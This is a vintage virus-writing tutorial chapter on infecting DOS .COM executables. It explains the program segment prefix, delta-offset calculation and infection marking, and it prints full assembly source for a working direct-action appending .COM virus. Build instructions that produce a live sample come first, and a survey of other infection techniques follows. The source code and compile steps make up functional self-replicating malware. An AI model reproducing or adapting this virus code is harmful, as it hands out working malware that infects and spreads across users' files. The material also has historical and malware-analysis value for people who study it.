COM Viruses

            Most viruses, unlike those presented in the Batch viruses and
        Upper-Level language viruses sections, only infect executable
        files such as .COM's and .EXE's and are written in assembly.
        There are numerous methods to infect each file type - some of the
        more popular will be shown in this tutorial. The simplest type of
        executable file to infect is the .COM file.  COM files are direct
        memory images of the programs.  When a COM file is run, DOS loads
        what is called the Program Segment Prefix (PSP), a data structure
        containing a lot of "book keeping" information for DOS, at the
        first available segment in memory.  The PSP is 256 (100h) bytes
        long.  Directly after this, the .COM file is loaded into memory,
        so it starts at an offset of 100h.  Because COM files are loaded
        directly into memory as images, they must be able to be contained,
        with the PSP, in one segment, making their maximum length just
        short of 64K.

             Because COM's are so simple, there are a multitude of ways
        to infect them.  One way is, as seen in the C virus earlier, just
        to overwrite them with the viral code.  This is obviously not the
        prefered method, however, as it destroys the host program.
        Instead, a way must be found to allow the virus to execute, then
        to restore control to the host program afterwards.  Several
        methods to do this have been developed, the most common of which
        is the appending virus.  The basic technique to this style of virus
        is to place its code at the end of the file, then place a jump at
        the beginning of the file to point to the end.  This accomplishes
        the task of executing the virus first thing when the file is run.
        To restore control to the host, however, takes a few tricks.
        First, one must store the bytes that the jump was written over
        in the file.  Then, once the virus is finished, these bytes must
        be restored in memory, and the virus should jump to the beginning
        of the host (at 100h because it is a .COM).  This is all simple
        enough, but there is one more difficulty that this type of virus
        must face.  With 8086 assembly, all of the near jumps and calls
        are relative - that is, a command that jumps ten bytes forward
        when executed in one location will jump ten bytes forward when
        executed in another.  Data referencing, however, is done on an
        absolute basis.  If a file has data at one place in memory when
        compiled, then even if it is offset in memory it will continue
        to look for the data at the original location.  Because viruses
        that work in the manner described earlier could possibly end up
        at any offset from their original positions, we must find a way
        to adjust for that.  There are several tricks for this, the most
        common being to CALL a dummy subroutine, POP the current offset
        of the next command off of the stack, subtract the old offset of
        the command DIRECTLY AFTER the call, and store the result in BP
        (or BX, SI, DI, etc.) for indirect addressing, i.e.
        "mov ax,[bp+Location]."  The reason this works is because the CALL
        command does two things, it pushes the offset of the command
        directly after it onto the stack, and then it jumps to the
        location of the subroutine.  Since the ORIGINAL offset of the
        command directly after the call is then subtracted from the
        CURRENT offset of the command, it gives you the total displacement
        of the virus.  A simple coding example for the is the following:

           call    get_offset           ;Call dummy subroutine
        get_offset:
           pop     bp                   ;Pop current offset of get_offset
                                        ;into BP

           sub     bp,offset get_offset ;Subtract original offset to get
                                        ;current displacement of virus.
           lea     si,[bp+wherever]     ;Common way to set a register to
                                        ;be the the offset of a variable.

             Now that we have a basic feeling of what a .COM infector must
        do, let's list each step needed in a relatively simple appending
        COM virus.

                1.)  Jump to virus
                2.)  Find a .COM file.  If none are left, go to step 6.
                3.)  Check to see if it has been infected. If it has,
                     go to step 2.
                4.)  Write the virus to the end of the file.
                5.)  Store the first three or four bytes at the beginning
                     of the new host and overwrite them with a jump to the
                     virus code.
                6.)  Restore host's old bytes and return control to host.

        Looking at step #3, we see something that was breezed over in the
        second C virus - identification of infected files.  Usually, this
        is done by "marking" each file infected in some way, either through
        the time-stamp or by placing a specific "marker byte" in the file
        that the virus can check for.  If this is not done, than files may
        be infected repeatedly until they grow too large to execute - not
        a desirable result.  The following virus is a simple direct action
        (meaning it infects files when it is run and does not stay present
        in memory afterwards) appending .COM infector.  It will infect one
        uninfected .COM file in the current directory each time it is
        executed until all are infected.  Notice that the programs will
        execute just as if they were uninfected, with perhaps a slight
        delay before they run and a little extra disk access.  Study the
        following code carefully, as it contains some neccessary portions
        of code that have NOT been mentioned so far - they will be
        explained in the code.

        - - - --------------- Start Code ----------------------- - - -
        ;     This file is a direct-action appending .COM infector
        ;written in TASM - compatible assembler for the IBM PC.
        ;It is presented as a part of VIROLOGY 101 (c) 1993 Black Wolf.
        ;It is a live virus, and should NOT be released.  Please execute
        ;the virus only on isolated machines under controlled conditions.
        ;    To compile this virus, one must first make a stub file, or
        ;an initial "host", and attach the virus to it.  The stub should be
        ;a program like the following:
        ;
        ;   .model tiny
        ;   .code
        ;               org 100
        ;start:
        ;    nop
        ;    nop
        ;    nop
        ;    nop
        ;end start
        ;
        ;    To attach the stub file to the virus, use the following line
        ;from DOS.
        ;                       copy /b stub.com+vircode.com newvirus.com
        ;
        ;This will produce a live, working virus.  Please be careful with
        ;it.

        .model tiny
        .radix 16                               ;Default into Hexidecimal
        .code
                org 100
        start:
                call    get_offset              ;This places the displace-
                                                ;ment of the virus from its
        get_offset:                             ;original compilation into
                pop     bp                      ;BP.
                sub     bp,offset get_offset

        Restore_Host_File:                      ;This routine moves the
                lea     si,[storage_bytes+bp]   ;stored bytes of the
                mov     di,100                  ;current host back to their
                movsw                           ;original place (at the
                movsw                           ;beginning of the host).

        ;The DTA (Data Transfer Address) is the location that DOS puts
        ;information regarding file I/O, such as from a search for files,
        ;CS:0080 in .COM files - inside the PSP.  Unfortunately, it is
        ;located at the same address in the PSP as the command-line
        ;parameters that are passed from DOS to your user program.
        ;Because of this, if you simply asked Dos to do a search for files
        ;without changing the location of the DTA first, all command-line
        ;information would be lost.  This would be disasterous in viruses,
        ;as it would cause unpredictable results in the host file.  The
        ;solution is simple:  move the DTA to a new address for the virus,
        ;then restore it to the default position before the virus restores
        ;control to the host.

        Set_DTA:
                lea     dx,[end_virus+bp]       ;Set DTA to the end of the
                mov     ah,1a                   ;virus.
                int     21

                mov     ah,4e
                xor     cx,cx                   ;Look only for normal
                                                ;attributes.
                lea     dx,[File_Mask+bp]       ;Search for all files
        Find_File:                              ;matching '*.COM'.
                int     21
                jc      No_More_Files

                mov     ax,3d02
                lea     dx,[end_virus+1e+bp]    ;Offset 1eh in DTA =
                                                ;    filename
                int     21                      ;Open file for read/write
                                                ;access.

                xchg    bx,ax                   ;Put File handle into BX

                mov     ah,3f
                mov     cx,4
                lea     dx,[storage_bytes+bp]   ;Read in first four bytes
                int     21                      ;of file

                cmp     word ptr [storage_bytes+bp],'ZM' ;Standard EXE
                je      close_file                       ;mark, file is a
                                                         ;misnamed EXE.

                cmp     word ptr [storage_bytes+bp],'MZ' ;Other possible
                je      close_file                       ;EXE mark.

                cmp     byte ptr [storage_bytes+bp+3],'V' ;Infection mark:
                je      close_file                        ;file infected.

                mov     ax,4202                ;Go to the end of the file.
                xor     cx,cx                  ;This function returns
                xor     dx,dx                  ;file size into
                int     21                     ;DX:AX

                sub     ax,3                            ;Put file size - 3
                mov     word ptr [bp+jump_bytes+1],ax   ;(jump instruction
                                                        ;length) into jump
                                                        ;bytes.

                mov     ah,40                           ;Write virus to the
                mov     cx,end_virus-start              ;end of the file.
                lea     dx,[bp+start]
                int     21

                mov     ax,4200                         ;Return to the
                xor     cx,cx                           ;beginning of the
                xor     dx,dx                           ; file.
                int     21

                mov     ah,40                           ;Write jump bytes
                mov     cx,4                            ;and marker byte
                lea     dx,[bp+jump_bytes]              ;to the beginning
                int     21                              ;of file.

                mov     ah,3e                           ;Close file
                int     21
                jmp     No_More_Files                   ;Only infect one
                                                        ;file each time.

        Close_File:                                     ;Close current file
                mov     ah,3e
                int     21

        Find_Next_File:                                 ;Find another file
                mov     ah,4f
                jmp     Find_File

        No_More_Files:          ;Reset DTA to original location
                mov     dx,80
                mov     ah,1a
                int     21

        Restore_To_Host:        ;This is basically a "jmp cs:100"
                mov     di,100
                push    di
                ret

        File_Mask       db      '*.COM',0     ;File mask used for search
        jump_bytes      db      0e9,0,0,'V'   ;'V' is the marker byte.
        storage_bytes:
                nop                           ;dummy storage bytes for
                nop                           ;first execution.
                int     20      ;Terminate

        end_virus:
        end start
        - - - ---------------- End Code ------------------------ - - -

             While the appending COM infector may be the most common, it
        by far not the only method of infecting a COM file.  Some of the
        different ways are briefly explained below.

             Generic Appending:  This is the method explained and
        demonstrated earlier.  It will place a jump over the first few
        bytes of the host that jumps to the end of the host, where it
        places itself.

             "Shift" virus:  These viruses place themselves at the
        beginning of the file, "shifting" the host to a new offset in
        memory.  When they are done executing, they "shift" the host back
        to offset 100h and execute it.  This style eliminates the need for
        the displacement calculations found in appending viruses, but they
        must find some way to "shift" the host back without overwriting the
        code doing the "shifting".  This technique works best in memory
        resident viruses, rather than direct action.

             Non-Destructive Overwriting:  The usual method for this type
        is to copy a chunk of code at the beginning of the host to the end
        of the file, then overwrite that chunk with the virus.  Restoration
        is quite similair to the "Shift" method.  As above, this one works
        best as a memory resident virus.

             Jump Redirection:  This type is basically the same as the
        Appending style, but it will redirect jumps that are already inside
        the host to point to it.

             Random Placement:  This type is rare, generally found as
        research viruses only.  It can place itself anywhere within a file,
        usually using methods similar to the Non-Destructive Overwriting
        for restoration and either Jump Redirection of the Generic
        Appending for execution (i.e. jumps to virus).  The main purpose
        for this is to complicate disinfection - a little.